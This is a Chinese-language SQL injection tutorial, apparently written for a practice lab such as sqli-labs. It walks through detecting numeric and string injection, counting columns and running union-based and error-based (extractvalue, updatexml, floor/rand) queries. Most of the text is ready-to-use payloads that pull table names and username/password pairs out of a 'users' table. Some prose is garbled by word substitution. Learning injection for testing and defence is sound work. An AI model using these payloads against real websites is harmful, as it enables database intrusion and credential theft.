php中sql为:$sql = "select * from users where id=$id limit 0,1";
判断方法:使用 1 and 1=1 ,1 and 1=2 来判断(x可为恣意证整数,1、2、3...)
当输入:?id=1 and 1=1 时,页面显示正常
select * from users where id =x and 1=1
输入:?id 1 and 1=2 时,页面显示异常
select * from users where id =x and 1=2
阐明是数字型注入
字符型注入
php中sql为:$sql = "select * from users where id='$id' limit 0,1";
判断方法:使用 1' and '1'='1 ,1' and '1'='2 来判断(x可为恣意证整数,1、2、3...)
当输入:?id=1’ and ‘1’='1 时页面显示正常
select * from users where id ='x' and '1'='1'
输入:?id=1’ and ‘1’='2 时页面显示异常
select * from users where id ='x' and '1'='2'
阐明是字符型注入 联合查询
判断当前表的字段个数(以字符型输入为例)
1.输入?id=1' order by 3 --+,
2.输入?id=1' order by 4 --+,
若1显示正常,且2报错,则阐明此时当前表中只有3列
测试输入回显
上面判断出来了表中有3列,以是union select的时候就写xx,xx,xx三个数据
需让union select前面的参数查不出来而回显背面的语句,以是id=-1'
输入?id=-1' union select 1,2,3 --+
?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users --+
复制代码
输入?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users --+
当输入?id=1'报错信息如图时
使用如下代码:
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables
where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns
where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
复制代码
报错注入
数据库的错误信息会回显在网页时,可用报错注入,如果联合查询不能使用,首选报错注入。
报错注入使用的是数据库的报错信息得到数据库的内容,需要构造语句让数据库报错。
1、group by
?id=1' and (select 1 from (select count(*),concat((select database() from
information_schema.tables limit 0,1),floor(rand()*2))x from
information_schema.tables group by x)a) --+
复制代码
输入?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
2、extractvalue() 函数
获取当前数据库名字
?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+
复制代码
输入 ?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+
得到数据库名字security
获取当前数据库中的表
?id=1' and extractvalue(1,concat('^',(select group_concat(table_name)
from information_schema.tables where table_schema=database()),'^')) --+
复制代码
输入?id=1' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+
?id=1' and extractvalue(1,concat('^',(select group_concat(column_name) from
information_schema.columns where table_schema=database() and table_name='users'),'^')) --+
复制代码
输入 ?id=1' and extractvalue(1,concat('^',(select group_concat(column_name) from
information_schema.columns where table_schema=database() and table_name='users'),'^')) --+
?id=1' and extractvalue(1,concat('^',(select group_concat(id,':',
username,':',password) from users),'^')) --+
复制代码
输入 ?id=1' and extractvalue(1,concat('^',(select group_concat(id,':',username,':',password) from users),'^')) --+
3、updatexml() 函数
获取当前数据库名字
输入?id=1' and updatexml(1,concat('^',(database()),'^'),1) --+
获取当前数据库中的表
输入?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' ),'^'),1) --+
输入?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'^'),1) --+
输入?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'^'),1) --+
以此类推,可得到四个表名
获取表中的字段
输入?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),'^'),1) --+
输入?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1 ),'^'),1) --+
获取相应字段的数据
输入?id=1' and updatexml(1,concat('^',(select group_concat(username,"--",password) from users limit 0,1 ),'^'),1) --+